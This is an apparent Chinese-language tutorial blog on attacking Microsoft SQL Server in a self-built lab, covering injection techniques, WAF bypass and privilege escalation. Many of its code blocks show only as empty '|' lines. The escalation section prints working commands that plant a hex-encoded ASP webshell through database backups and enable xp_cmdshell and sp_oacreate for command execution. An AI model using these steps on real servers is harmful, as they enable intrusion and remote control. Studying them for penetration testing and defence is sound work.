环境搭建
我首先是从用docker拉了一个微软官方的镜像,然后环境就搭起来的。
|
|
但是考虑到有些地方会用到windows版本的,所以还在虚拟机里搭了一个windows版本的,用SSMS进行管理。本地测试的时候在windows下用了19版本的,docker中用过17、19、22三个版本
mssql结构
和postgresql类似:instance → databases → schemas → objects
在eastjun
数据库下查询一条sql语句select * from users
完整的写法应该是select * from eastjun.dbo.users
,对应的是database.schema.table
。查数据时如果省略了schema
名,那么默认的schema
就会是dbo
权限
创建登录名
|
|
创建用户
|
|
修改登录名和用户映射
|
|
将eastjun
数据库的权限授权给用户westjun
,然后就能通过eastjun/123456
账号连接数据库并拥有eastjun
这个数据库的权限了
|
|
在这里可以看出来登录名和用户名可以不同,如果是sa
用户登录的,则用户名为dbo
,登录名为sa
信息搜集
版本号
|
|
计算机名
|
|
工作站名,官方文档上说是客户端的名称,还说可能提供不准确的数据。根据@@servername
和host_name()
是否相等可判断站库分离
|
|
用户名,通过user_name()
加参数可以遍历所有用户,下面这些返回的都是用户名。如果用sa
用户登录返回的是dbo
|
|
登录名,如果是登录的sa用户,那么user
为dbo
,system_user
为sa
。suser_name()
中也可以加参数,通过加参数还能遍历所有的用户。除此之外,下面这些返回的都是登录名
|
|
查询数据
查询数据库
使用db_name()
查数据库名
|
|
使用db_name(N)
可以遍历数据库
|
|
遍历schema
使用schema_name(N)
可以遍历schema
,除此之外在每个数据库下还有一些系统视图,其中sys.schemas
和information_schema.schemata
可以查到schema
|
|
遍历table
遍历表名的时候也是从视图中获取数据,这些视图可以用SSMS
这个图形化管理工具找到,除了sys.objects
以外还有sys.all_objects
和sys.sysobjects
这几个视图也可以查表名
|
|
遍历column
查询列名需要知道表名的object_id
,有sys.columns
和sys.all_columns
两个视图可以查
|
|
查数据
在mssql中没有limit字句,如果需要限制查第二条数据,可以用row_number()
|
|
或者是正序查询之后再倒序查询
|
|
没有group_concat
函数,在17版本以后可以用string_agg()
函数,不过限制了只能查询8000 bytes
的数据
|
|
mssql注入
联合查询
使用null占位
|
|
报错注入
利用字符串转数字报错
|
|
盲注
盲注主要涉及到字符串截取和比较两个问题 字符串截取函数:
|
|
字符串比较:
|
|
报错盲注
利用报错构造true
和false
|
|
利用数学函数或者数据类型转换进行报错
|
|
时间盲注
构造超时的sql语句
|
|
waf绕过
利用mssql的特性能更好地绕过waf,因为waf在进行语法分析的时候可能会报错
别名
中括号在mssql中用于解决关键字冲突,使用双引号和单引号也行,使用下面这几种方式都可以定义别名
|
|
运算符
在mssql中有!>
、!<
两个比较符号,在盲注进行比较的时候可用
|
|
any
、some
、all
从字面意思就能理解
|
|
在mssql中+
用于连接字符串,在其他几种数据库中'1'+'1'
都返回2
,而mssql中返回11
|
|
绕过空格过滤
在mssql
中\x00
~\x20
中间的符号都可以代替空格。除此之外呢,在Unicode范围内还能找到一些能代替空格的字符,这些字符是我写脚本fuzz出来的:
|
|
进行url编码一遍是这样的:
|
|
如果需要过waf,在有空格的地方替换这些字符,在能插入空格的地方尝试插入这些字符,大概率就能让waf进行语法分析时报错导致waf被绕过:
|
|
提权
xp_dirtree
使用xp_dirtree
可以列目录
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件
还可以创建临时表,将存储过程查询到的路径插入到临时表中
create table tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
差异备份写shell
差异备份是首先备份一次数据库,然后插入webshell后再备份和第一次备份不同的地方,这样子应该会比直接备份整个数据库拿到的webshell要小。
backup database eastjun to disk = 'c:/test/bak.bak';
create table test (cmd image);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database eastjun to disk='c:/test/1.asp' with differential,format;
log备份写shell
log备份也需要首先对数据库进行一次完整的备份。相比差异备份,log备份得到的webshell会小很多
create database test;
backup database test to disk = 'c:/test/bak.bak';
alter database test set recovery full;
create table test.dbo.test(cmd image);
backup log test to disk = 'c:/test/bak.bak' with init;
insert into test.dbo.test(cmd) values (0x3C25657865637574652872657175657374282261222929253E);
backup log test to disk = 'c:/test/2.asp';
xp_cmdshell
利用xp_cmdshell
可以执行命令,可以看看微软官方关于xp_cmdshell
的文档。
新版本中默认被禁用,但是可以用sp_configure
启用
--允许修改高级参数
exec sp_configure 'show advanced options',1;reconfigure;
--打开xp_cmdshell 扩展
exec sp_configure 'xp_cmdshell',1;reconfigure;
然后可以执行命令
exec master..xp_cmdshell 'whoami'
在19版本中运行的用户为nt service\mssqlserver
xp_subdirs
用于得到目录下的文件夹列表
exec xp_subdirs 'c:'
xp_availablemedia
列出所有驱动器
exec xp_availablemedia
sp_oacreate
判断是否存在sp_oacreate
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'
启用sp_oacreate
exec sp_configure 'show advanced options', 1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure with override;
调用sp_oacreate
执行命令,该方法无回显,可以写文件看回显
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd /c whoami > c:/test/1.txt'